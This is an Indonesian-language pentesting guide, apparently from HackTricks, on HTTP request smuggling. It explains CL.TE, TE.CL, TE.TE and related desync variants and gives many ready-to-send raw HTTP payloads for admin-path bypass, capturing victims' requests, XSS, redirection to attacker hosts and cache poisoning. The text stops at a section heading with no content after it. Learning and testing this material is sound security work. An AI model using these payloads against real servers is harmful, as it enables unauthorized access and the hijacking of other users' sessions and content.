Table of contents
Open Table of contents
- Apa Itu
- Contoh Dasar
- Contoh Dasar Jenis Kerentanan
- Kerentanan CL.TE (Content-Length digunakan oleh Front-End, Transfer-Encoding digunakan oleh Back-End)
- Kerentanan TE.CL (Transfer-Encoding digunakan oleh Front-End, Content-Length digunakan oleh Back-End)
- Kerentanan TE.TE (Transfer-Encoding digunakan oleh keduanya, dengan obfuscation)
- Skenario CL.CL (Content-Length digunakan oleh Front-End dan Back-End)
- Skenario CL.0
- Skenario TE.0
- Merusak Server Web
- Memaksa Melalui Header Hop-by-Hop
- Contoh Dasar Jenis Kerentanan
- Menemukan Penyelundupan Permintaan HTTP (HTTP Request Smuggling)
- Menyalahgunakan HTTP Request Smuggling
- Menghindari Keamanan Front-End Melalui HTTP Request Smuggling
- Mengungkap Penulisan Ulang Permintaan Front-End
- Menangkap Permintaan Pengguna Lain
- Menggunakan HTTP Request Smuggling untuk Mengeksploitasi Reflected XSS
- Mengeksploitasi Redirects di Situs dengan HTTP Request Smuggling
- Mengeksploitasi Web Cache Poisoning melalui HTTP Request Smuggling
- Menggunakan HTTP Request Smuggling untuk melakukan Web Cache Deception
- Mengeksploitasi TRACE melalui HTTP Request Smuggling
- Mengeksploitasi TRACE melalui HTTP Response Splitting
- Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
- Teknik Lain HTTP Request Smuggling
- Skrip Turbo Intruder
- Alat
- Referensi
Apa Itu
Kerentanan ini terjadi ketika terdapat ketidaksinkronan antara proxy front-end dan server back-end, yang memungkinkan seorang penyerang untuk mengirimkan permintaan HTTP yang akan diinterpretasikan sebagai satu permintaan oleh proxy front-end (load balancer/reverse proxy) tetapi sebagai 2 permintaan oleh server back-end.
Hal ini memungkinkan pengguna untuk memodifikasi permintaan berikutnya yang tiba di server back-end setelah permintaannya sendiri.
Teori
Jika sebuah pesan diterima dengan header Transfer-Encoding dan Content-Length, maka header Content-Length HARUS diabaikan.
Content-Length
Header Content-Length menunjukkan ukuran isi tubuh entitas (entity body) dalam byte yang dikirimkan kepada penerima.
Transfer-Encoding: chunked
Header Transfer-Encoding menentukan bentuk pengodean yang digunakan untuk mentransfer isi tubuh payload secara aman ke pengguna.
Chunked berarti data besar dikirimkan dalam serangkaian potongan (chunks).
Realitas
Front-End (load balancer/reverse proxy) memproses header content-length atau transfer-encoding, sementara server Back-End memproses yang lainnya, sehingga menyebabkan ketidaksinkronan antara kedua sistem tersebut.
Ini bisa sangat kritis karena seorang penyerang dapat mengirimkan satu permintaan ke reverse proxy yang akan diinterpretasikan oleh server back-end sebagai 2 permintaan yang berbeda. Bahaya dari teknik ini adalah server back-end akan menginterpretasikan permintaan ke-2 yang disuntikkan seolah-olah itu berasal dari klien berikutnya, dan permintaan asli klien tersebut akan menjadi bagian dari permintaan yang disuntikkan.
Kekhususan
Ingat bahwa dalam HTTP, karakter baris baru terdiri dari 2 byte:
- Content-Length: Header ini menggunakan angka desimal untuk menunjukkan jumlah byte dari isi tubuh permintaan. Isi tubuh diharapkan berakhir pada karakter terakhir, tanpa baris baru di akhir permintaan.
- Transfer-Encoding: Header ini menggunakan angka heksadesimal dalam isi tubuh untuk menunjukkan jumlah byte dari potongan berikutnya. Potongan harus diakhiri dengan baris baru, tetapi baris baru ini tidak dihitung dalam indikator panjang. Metode transfer ini harus diakhiri dengan potongan berukuran 0 diikuti oleh 2 baris baru:
0
. - Connection: Berdasarkan pengalaman, disarankan untuk menggunakan
Connection: keep-alive
pada permintaan pertama untuk penyelundupan permintaan (request smuggling).
Contoh Dasar
Saat mencoba mengeksploitasi ini dengan Burp Suite, pastikan untuk menonaktifkan Update Content-Length
dan Normalize HTTP/1 line endings
di repeater karena beberapa eksploitasi memanfaatkan baris baru, carriage return, dan panjang konten yang salah.
Serangan penyelundupan permintaan HTTP dibuat dengan mengirimkan permintaan ambigu yang mengeksploitasi perbedaan cara server front-end dan back-end menginterpretasikan header Content-Length
(CL) dan Transfer-Encoding
(TE). Serangan ini dapat muncul dalam berbagai bentuk, terutama sebagai CL.TE, TE.CL, dan TE.TE, yang masing-masing merepresentasikan kombinasi unik bagaimana server front-end dan back-end memprioritaskan header tersebut. Kerentanan muncul karena server memproses permintaan yang sama dengan cara berbeda, yang menyebabkan hasil yang tidak terduga dan berpotensi berbahaya.
Contoh Dasar Jenis Kerentanan
Kerentanan CL.TE (Content-Length digunakan oleh Front-End, Transfer-Encoding digunakan oleh Back-End)
- Front-End (CL): Memproses permintaan berdasarkan header
Content-Length
. - Back-End (TE): Memproses permintaan berdasarkan header
Transfer-Encoding
. - Skenario Serangan:
- Penyerang mengirimkan permintaan di mana nilai header
Content-Length
tidak sesuai dengan panjang konten sebenarnya. - Server front-end meneruskan seluruh permintaan ke back-end berdasarkan nilai
Content-Length
. - Server back-end memproses permintaan sebagai chunked karena adanya header
Transfer-Encoding: chunked
, sehingga menginterpretasikan data yang tersisa sebagai permintaan terpisah dan berikutnya.
-
Contoh:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 30 Connection: keep-alive Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 Foo: x
- Penyerang mengirimkan permintaan di mana nilai header
Kerentanan TE.CL (Transfer-Encoding digunakan oleh Front-End, Content-Length digunakan oleh Back-End)
- Front-End (TE): Memproses permintaan berdasarkan header
Transfer-Encoding
. - Back-End (CL): Memproses permintaan berdasarkan header
Content-Length
. - Skenario Serangan:
-
Penyerang mengirimkan permintaan chunked di mana ukuran chunk (
7b
) dan panjang konten sebenarnya (Content-Length: 4
) tidak sesuai. -
Server front-end, yang menghormati
Transfer-Encoding
, meneruskan seluruh permintaan ke back-end. -
Server back-end, yang menghormati
Content-Length
, hanya memproses bagian awal permintaan (7b
byte), sementara sisanya menjadi bagian dari permintaan berikutnya yang tidak disengaja.
-
Contoh:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Connection: keep-alive Transfer-Encoding: chunked 7b GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 x= 0
-
Kerentanan TE.TE (Transfer-Encoding digunakan oleh keduanya, dengan obfuscation)
- Server: Keduanya mendukung
Transfer-Encoding
, tetapi salah satunya dapat dikelabui untuk mengabaikannya melalui obfuscation (penyamaran). - Skenario Serangan:
- Penyerang mengirimkan permintaan dengan header
Transfer-Encoding
yang disamarkan. - Bergantung pada server mana (front-end atau back-end) yang gagal mengenali penyamaran, kerentanan CL.TE atau TE.CL dapat dieksploitasi.
- Bagian permintaan yang tidak diproses oleh salah satu server menjadi bagian dari permintaan berikutnya, yang mengarah pada penyelundupan permintaan (request smuggling).
-
Contoh:
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked
- Penyerang mengirimkan permintaan dengan header
Skenario CL.CL (Content-Length digunakan oleh Front-End dan Back-End)
- Kedua server memproses permintaan hanya berdasarkan header
Content-Length
. - Skenario ini biasanya tidak menyebabkan penyelundupan permintaan (request smuggling), karena terdapat keselarasan dalam cara kedua server menginterpretasikan panjang permintaan.
-
Contoh:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Normal Request
Skenario CL.0
- Merujuk pada skenario di mana header
Content-Length
ada dan memiliki nilai selain nol, yang menunjukkan bahwa tubuh permintaan memiliki konten. Server back-end mengabaikan headerContent-Length
(yang dianggap bernilai 0), tetapi server front-end memprosesnya. - Hal ini sangat penting dalam memahami dan merancang serangan penyelundupan permintaan (request smuggling), karena memengaruhi cara server menentukan akhir dari sebuah permintaan.
-
Contoh:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Non-Empty Body
Skenario TE.0
- Mirip dengan skenario sebelumnya tetapi menggunakan
Transfer-Encoding
. - Teknik ini dilaporkan di sini.
- Contoh::
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Merusak Server Web
Teknik ini juga berguna dalam skenario di mana memungkinkan untuk merusak server web saat membaca data HTTP awal tetapi tanpa menutup koneksi. Dengan cara ini, body dari permintaan HTTP akan dianggap sebagai permintaan HTTP berikutnya.
Sebagai contoh, seperti yang dijelaskan dalam tulisan ini, pada Werkzeug memungkinkan untuk mengirim beberapa karakter Unicode yang dapat membuat server rusak. Namun, jika koneksi HTTP dibuat dengan header Connection: keep-alive
, body dari permintaan tidak akan dibaca dan koneksi tetap terbuka, sehingga body permintaan akan diperlakukan sebagai permintaan HTTP berikutnya.
Memaksa Melalui Header Hop-by-Hop
Dengan menyalahgunakan header hop-by-hop, Anda dapat menginstruksikan proxy untuk menghapus header Content-Length atau Transfer-Encoding sehingga memungkinkan untuk menyalahgunakan penyelundupan permintaan HTTP (HTTP request smuggling).
Connection: Content-Length
Untuk informasi lebih lanjut tentang hop-by-hop headers kunjungi:
Menemukan Penyelundupan Permintaan HTTP (HTTP Request Smuggling)
Mengidentifikasi kerentanan penyelundupan permintaan HTTP sering kali dapat dilakukan menggunakan teknik pengukuran waktu, yang bergantung pada pengamatan berapa lama waktu yang diperlukan server untuk merespons permintaan yang dimanipulasi. Teknik ini sangat berguna untuk mendeteksi kerentanan CL.TE dan TE.CL. Selain metode ini, ada juga strategi dan alat lain yang dapat digunakan untuk menemukan kerentanan semacam itu:
Menemukan Kerentanan CL.TE Menggunakan Teknik Pengukuran Waktu
- Metode:
- Kirimkan permintaan yang, jika aplikasi rentan, akan menyebabkan server back-end menunggu data tambahan.
-
Contoh:
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 4 1 A 0
-
Observasi:
- Server front-end memproses permintaan berdasarkan
Content-Length
dan memotong pesan sebelum selesai. - Server back-end, yang mengharapkan pesan chunked, menunggu chunk berikutnya yang tidak pernah tiba, menyebabkan penundaan.
- Server front-end memproses permintaan berdasarkan
- Indikator:
- Timeout atau penundaan lama dalam respons.
- Menerima error 400 Bad Request dari server back-end, terkadang disertai informasi server yang rinci.
Menemukan Kerentanan TE.CL Menggunakan Teknik Pengukuran Waktu
- Metode:
- Kirimkan permintaan yang, jika aplikasi rentan, akan menyebabkan server back-end menunggu data tambahan.
- Contoh:
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 6 0 X
- Observasi:
- Server front-end memproses permintaan berdasarkan
Transfer-Encoding
dan meneruskan seluruh pesan. - Server back-end, yang mengharapkan pesan berdasarkan
Content-Length
, menunggu data tambahan yang tidak pernah tiba, menyebabkan penundaan.
- Server front-end memproses permintaan berdasarkan
Metode Lain untuk Menemukan Kerentanan
- Analisis Respons Diferensial:
- Kirimkan versi permintaan yang sedikit bervariasi dan amati apakah respons server berbeda dengan cara yang tidak terduga, yang menunjukkan adanya ketidaksesuaian dalam pemrosesan.
- Menggunakan Alat Otomatis:
- Alat seperti ekstensi ‘HTTP Request Smuggler’ dari Burp Suite dapat secara otomatis menguji kerentanan ini dengan mengirimkan berbagai bentuk permintaan ambigu dan menganalisis responsnya.
- Uji Variansi Content-Length:
- Kirimkan permintaan dengan nilai
Content-Length
yang bervariasi yang tidak sesuai dengan panjang konten yang sebenarnya dan amati bagaimana server menangani ketidaksesuaian tersebut.
- Kirimkan permintaan dengan nilai
- Uji Variansi Transfer-Encoding:
- Kirimkan permintaan dengan header
Transfer-Encoding
yang disamarkan atau rusak dan pantau bagaimana server front-end dan back-end merespons manipulasi tersebut.
- Kirimkan permintaan dengan header
Pengujian Kerentanan HTTP Request Smuggling
Setelah mengonfirmasi efektivitas teknik pengukuran waktu, penting untuk memverifikasi apakah permintaan klien dapat dimanipulasi. Metode sederhana adalah mencoba meracuni permintaan Anda, misalnya, membuat permintaan ke /
menghasilkan respons 404. Contoh CL.TE
dan TE.CL
yang telah dibahas sebelumnya di Contoh Dasar menunjukkan bagaimana meracuni permintaan klien untuk memicu respons 404, meskipun klien mencoba mengakses sumber daya yang berbeda.
Pertimbangan Utama
Saat menguji kerentanan penyelundupan permintaan dengan mengganggu permintaan lain, perhatikan hal-hal berikut:
- Koneksi Jaringan Terpisah: Permintaan “serangan” dan “normal” harus dikirimkan melalui koneksi jaringan terpisah. Menggunakan koneksi yang sama untuk keduanya tidak memvalidasi adanya kerentanan.
- URL dan Parameter yang Konsisten: Usahakan menggunakan URL dan nama parameter yang identik untuk kedua permintaan. Aplikasi modern sering mengarahkan permintaan ke server back-end tertentu berdasarkan URL dan parameter. Kecocokan ini meningkatkan kemungkinan kedua permintaan diproses oleh server yang sama, yang merupakan prasyarat untuk serangan yang sukses.
- Pengukuran Waktu dan Kondisi Balapan: Permintaan “normal”, yang dimaksudkan untuk mendeteksi gangguan dari permintaan “serangan”, bersaing dengan permintaan aplikasi lainnya. Oleh karena itu, kirimkan permintaan “normal” segera setelah permintaan “serangan”. Aplikasi yang sibuk mungkin memerlukan beberapa percobaan untuk konfirmasi kerentanan yang meyakinkan.
- Tantangan Load Balancing: Server front-end yang berfungsi sebagai load balancer mungkin mendistribusikan permintaan ke berbagai sistem back-end. Jika permintaan “serangan” dan “normal” berakhir di sistem yang berbeda, serangan tidak akan berhasil. Aspek load balancing ini mungkin memerlukan beberapa percobaan untuk mengonfirmasi kerentanan.
- Dampak Tidak Sengaja pada Pengguna Lain: Jika serangan Anda secara tidak sengaja memengaruhi permintaan pengguna lain (bukan permintaan “normal” yang Anda kirimkan untuk deteksi), ini menunjukkan bahwa serangan Anda memengaruhi pengguna aplikasi lain. Pengujian terus-menerus dapat mengganggu pengguna lain, sehingga pendekatan yang hati-hati diperlukan.
Menyalahgunakan HTTP Request Smuggling
Menghindari Keamanan Front-End Melalui HTTP Request Smuggling
Terkadang, proxy front-end menerapkan langkah-langkah keamanan, memeriksa permintaan yang masuk. Namun, langkah-langkah ini dapat dilalui dengan memanfaatkan HTTP Request Smuggling, memungkinkan akses tidak sah ke endpoint yang dibatasi. Misalnya, mengakses /admin
mungkin dilarang secara eksternal, dengan proxy front-end secara aktif memblokir upaya tersebut. Namun, proxy ini mungkin gagal memeriksa permintaan yang disematkan dalam permintaan HTTP yang diselundupkan, meninggalkan celah untuk melewati pembatasan ini.
Pertimbangkan contoh berikut yang menggambarkan bagaimana HTTP Request Smuggling dapat digunakan untuk melewati kontrol keamanan front-end, khususnya menargetkan jalur /admin
yang biasanya dijaga oleh proxy front-end:
Contoh CL.TE
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
Dalam serangan CL.TE, header Content-Length
digunakan untuk permintaan awal, sementara permintaan yang disematkan selanjutnya menggunakan header Transfer-Encoding: chunked
. Proxy front-end memproses permintaan POST
awal tetapi gagal memeriksa permintaan GET /admin
yang disematkan, memungkinkan akses tidak sah ke jalur /admin
.
Contoh TE.CL
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Sebaliknya, dalam serangan TE.CL, permintaan POST
awal menggunakan Transfer-Encoding: chunked
, dan permintaan yang disematkan selanjutnya diproses berdasarkan header Content-Length
. Mirip dengan serangan CL.TE, proxy front-end mengabaikan permintaan GET /admin
yang diselundupkan, tanpa sengaja memberikan akses ke jalur /admin
yang dibatasi.
Mengungkap Penulisan Ulang Permintaan Front-End
Aplikasi sering menggunakan server front-end untuk memodifikasi permintaan yang masuk sebelum diteruskan ke server back-end. Modifikasi yang umum dilakukan adalah menambahkan header, seperti X-Forwarded-For: <IP klien>
, untuk mengirimkan IP klien ke back-end. Memahami modifikasi ini bisa sangat penting, karena dapat mengungkap cara untuk menghindari perlindungan atau mengungkap informasi atau endpoint yang tersembunyi.
Untuk menyelidiki bagaimana proxy mengubah permintaan, cari parameter POST yang dipantulkan oleh back-end dalam respons. Kemudian, buat permintaan, dengan menggunakan parameter ini terakhir, seperti berikut:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Dalam struktur ini, komponen permintaan berikutnya ditambahkan setelah search=
, yang merupakan parameter yang dipantulkan dalam respons. Pemantulan ini akan mengungkapkan header dari permintaan berikutnya.
Penting untuk menyelaraskan header Content-Length
dari permintaan yang disematkan dengan panjang konten yang sebenarnya. Disarankan untuk memulai dengan nilai kecil dan meningkat secara bertahap, karena nilai yang terlalu rendah akan memotong data yang dipantulkan, sementara nilai yang terlalu tinggi dapat menyebabkan permintaan gagal.
Teknik ini juga berlaku dalam konteks kerentanannya TE.CL, tetapi permintaan harus diakhiri dengan search=\r\n0
. Terlepas dari karakter baris baru, nilai-nilai tersebut akan ditambahkan ke parameter pencarian.
Metode ini terutama berfungsi untuk memahami modifikasi permintaan yang dilakukan oleh proxy front-end, pada dasarnya melakukan investigasi yang diarahkan sendiri.
Menangkap Permintaan Pengguna Lain
Dimungkinkan untuk menangkap permintaan pengguna berikutnya dengan menambahkan permintaan tertentu sebagai nilai dari parameter selama operasi POST. Berikut adalah cara untuk melakukannya:
Dengan menambahkan permintaan berikut sebagai nilai parameter, Anda dapat menyimpan permintaan klien berikutnya:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Dalam skenario ini, parameter comment dimaksudkan untuk menyimpan konten dalam bagian komentar pada halaman yang dapat diakses publik. Akibatnya, konten permintaan berikutnya akan muncul sebagai komentar.
Namun, teknik ini memiliki keterbatasan. Secara umum, ia hanya menangkap data hingga pemisah parameter yang digunakan dalam permintaan yang diselundupkan. Untuk pengiriman formulir yang di-encode URL, pemisah ini adalah karakter &
. Ini berarti konten yang ditangkap dari permintaan pengguna korban akan berhenti pada &
pertama, yang bahkan bisa menjadi bagian dari query string.
Selain itu, perlu dicatat bahwa pendekatan ini juga dapat diterapkan pada kerentanannya TE.CL. Dalam kasus tersebut, permintaan harus diakhiri dengan search=\r\n0
. Terlepas dari karakter baris baru, nilai-nilai tersebut akan ditambahkan ke parameter pencarian.
Menggunakan HTTP Request Smuggling untuk Mengeksploitasi Reflected XSS
HTTP Request Smuggling dapat dimanfaatkan untuk mengeksploitasi halaman web yang rentan terhadap Reflected XSS, memberikan keuntungan signifikan:
- Interaksi dengan pengguna target tidak diperlukan.
- Memungkinkan eksploitasi XSS di bagian permintaan yang biasanya tidak dapat dijangkau, seperti header permintaan HTTP.
Dalam skenario di mana situs web rentan terhadap Reflected XSS melalui header User-Agent, payload berikut menunjukkan bagaimana mengeksploitasi kerentanannya:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Payload ini disusun untuk mengeksploitasi kerentanannya dengan cara:
- Memulai permintaan
POST
, yang tampak biasa, dengan headerTransfer-Encoding: chunked
untuk menandakan dimulainya penyelundupan. - Mengikuti dengan
0
, menandai akhir dari badan pesan chunked. - Kemudian, permintaan
GET
yang diselundupkan diperkenalkan, di mana headerUser-Agent
disuntikkan dengan skrip,<script>alert(1)</script>
, yang memicu XSS ketika server memproses permintaan berikutnya ini.
Dengan memanipulasi User-Agent
melalui penyelundupan, payload ini dapat melewati batasan permintaan normal, sehingga mengeksploitasi kerentanannya Reflected XSS dengan cara yang tidak standar namun efektif.
HTTP/0.9
*Jika konten pengguna dipantulkan dalam respons dengan Content-type
seperti text/plain
, yang mencegah eksekusi XSS. Jika server mendukung *HTTP/0.9, mungkin ini dapat dilewati!
Versi HTTP/0.9 adalah versi sebelum HTTP/1.0 dan hanya menggunakan GET verbs serta tidak merespons dengan header, hanya badan.
Dalam tulisan ini, ini disalahgunakan dengan penyelundupan permintaan dan endpoint rentan yang akan membalas dengan input pengguna untuk menyelundupkan permintaan dengan HTTP/0.9. Parameter yang akan dipantulkan dalam respons berisi respons HTTP/1.1 palsu (dengan header dan badan) sehingga respons tersebut akan berisi kode JS yang dapat dieksekusi yang valid dengan Content-Type
text/html
.
Mengeksploitasi Redirects di Situs dengan HTTP Request Smuggling
Aplikasi sering mengarahkan dari satu URL ke URL lain dengan menggunakan hostname dari header Host
dalam URL redirect. Ini umum pada server web seperti Apache dan IIS. Sebagai contoh, meminta folder tanpa garis miring di akhir akan mengarahkannya untuk menambahkan garis miring:
GET /home HTTP/1.1
Host: normal-website.com
Hasilnya:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Meskipun tampaknya tidak berbahaya, perilaku ini dapat dimanipulasi menggunakan HTTP request smuggling untuk mengarahkan pengguna ke situs eksternal. Sebagai Contoh:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Permintaan yang diselundupkan ini dapat menyebabkan permintaan pengguna berikutnya yang diproses diarahkan ke situs web yang dikendalikan oleh penyerang:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Hasilnya:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Dalam skenario ini, permintaan pengguna untuk file JavaScript dibajak. Penyerang berpotensi dapat membahayakan pengguna dengan menyajikan JavaScript berbahaya sebagai respons.
Mengeksploitasi Web Cache Poisoning melalui HTTP Request Smuggling
Web cache poisoning dapat dilakukan jika komponen dari infrastruktur front-end menyimpan cache konten, biasanya untuk meningkatkan performa. Dengan memanipulasi respons server, memungkinkan untuk meracuni cache.
Sebelumnya, kita telah mengamati bagaimana respons server dapat diubah untuk mengembalikan kesalahan 404 (lihat Contoh Dasar). Demikian pula, memungkinkan untuk menipu server agar mengirimkan konten /index.html
sebagai respons terhadap permintaan untuk /static/include.js
. Akibatnya, konten /static/include.js
digantikan dalam cache dengan konten /index.html
, membuat /static/include.js
tidak dapat diakses oleh pengguna, yang berpotensi menyebabkan Denial of Service (DoS).
Teknik ini menjadi sangat kuat jika ditemukan kerentan Open Redirect atau jika ada pengalihan situs internal ke pengalihan terbuka. Kerentanannya dapat dimanfaatkan untuk mengganti konten cache dari /static/include.js
dengan skrip yang dikendalikan oleh penyerang, yang pada dasarnya memungkinkan serangan Cross-Site Scripting (XSS) secara luas terhadap semua klien yang meminta /static/include.js
yang diperbarui.
Berikut adalah ilustrasi dari eksploitasi cache poisoning yang dikombinasikan dengan pengalihan situs internal ke pengalihan terbuka. Tujuannya adalah untuk mengubah konten cache dari /static/include.js
untuk menyajikan kode JavaScript yang dikendalikan oleh penyerang:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Perhatikan permintaan yang disisipkan yang menargetkan /post/next?postId=3
. Permintaan ini akan diarahkan ke /post?postId=4
, menggunakan nilai header Host untuk menentukan domain. Dengan mengubah header Host, penyerang dapat mengalihkan permintaan ke domain mereka (pengalihan situs internal ke pengalihan terbuka).
Setelah socket poisoning berhasil, sebuah GET request untuk /static/include.js
harus dimulai. Permintaan ini akan terkontaminasi oleh permintaan pengalihan situs internal ke pengalihan terbuka sebelumnya dan mengambil konten skrip yang dikendalikan oleh penyerang.
Selanjutnya, setiap permintaan untuk /static/include.js
akan menyajikan konten cache dari skrip penyerang, secara efektif meluncurkan serangan XSS yang luas.
Menggunakan HTTP Request Smuggling untuk melakukan Web Cache Deception
Apa perbedaan antara web cache poisoning dan web cache deception?
- Dalam web cache poisoning, penyerang menyebabkan aplikasi menyimpan konten berbahaya dalam cache, dan konten ini disajikan dari cache ke pengguna aplikasi lain.
- Dalam web cache deception, penyerang menyebabkan aplikasi menyimpan konten sensitif milik pengguna lain dalam cache, dan penyerang kemudian mengambil konten ini dari cache.
Penyerang membuat permintaan yang disisipkan untuk mengambil konten sensitif yang spesifik untuk pengguna. Pertimbangkan contoh berikut:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Jika permintaan yang disisipkan ini merusak entri cache yang dimaksudkan untuk konten statis (misalnya, /someimage.png
), data sensitif korban dari /private/messages
mungkin disimpan dalam entri cache konten statis tersebut. Akibatnya, penyerang dapat mengambil data sensitif yang disimpan dalam cache ini.
Mengeksploitasi TRACE melalui HTTP Request Smuggling
Dalam tulisan ini disarankan bahwa jika server memiliki metode TRACE yang diaktifkan, bisa jadi memungkinkan untuk mengeksploitasinya dengan HTTP Request Smuggling. Hal ini karena metode ini akan mencerminkan header apa pun yang dikirim ke server sebagai bagian dari tubuh respons. Contoh:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Akan mengirimkan Respon semecam ini:
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Contoh cara mengeksploitasi perilaku ini adalah dengan menyisipkan terlebih dahulu permintaan HEAD. Permintaan ini akan merespons hanya dengan header dari permintaan GET (Content-Type
di antaranya). Kemudian segera menyisipkan permintaan TRACE setelah HEAD, yang akan mencerminkan data yang dikirim.
Karena respons HEAD akan berisi header Content-Length
, respons dari permintaan TRACE akan dianggap sebagai tubuh dari respons HEAD, sehingga mencerminkan data sewenang-wenang dalam respons tersebut.
Respons ini akan dikirim ke permintaan berikutnya melalui koneksi, sehingga ini bisa digunakan dalam file JS yang di-cache misalnya untuk menyisipkan kode JS sewenang-wenang.
Mengeksploitasi TRACE melalui HTTP Response Splitting
Lanjut mengikuti tulisan ini disarankan cara lain untuk mengeksploitasi metode TRACE. Seperti yang dikomentari, dengan menyisipkan permintaan HEAD dan permintaan TRACE, dimungkinkan untuk mengendalikan beberapa data yang tercermin dalam respons terhadap permintaan HEAD. Panjang tubuh permintaan HEAD pada dasarnya ditunjukkan dalam header Content-Length
dan dibentuk oleh respons terhadap permintaan TRACE.
Oleh karena itu, ide baru ini adalah bahwa, dengan mengetahui Content-Length
ini dan data yang diberikan dalam respons TRACE, dimungkinkan untuk membuat respons TRACE berisi respons HTTP yang valid setelah byte terakhir dari Content-Length
, memungkinkan penyerang untuk sepenuhnya mengendalikan permintaan ke respons berikutnya (yang dapat digunakan untuk melakukan poisoning cache).
Contoh:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Akan menghasilkan respons berikut (perhatikan bagaimana respons HEAD memiliki Content-Length yang membuat respons TRACE menjadi bagian dari tubuh HEAD, dan setelah Content-Length HEAD berakhir, respons HTTP yang valid diselundupkan):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
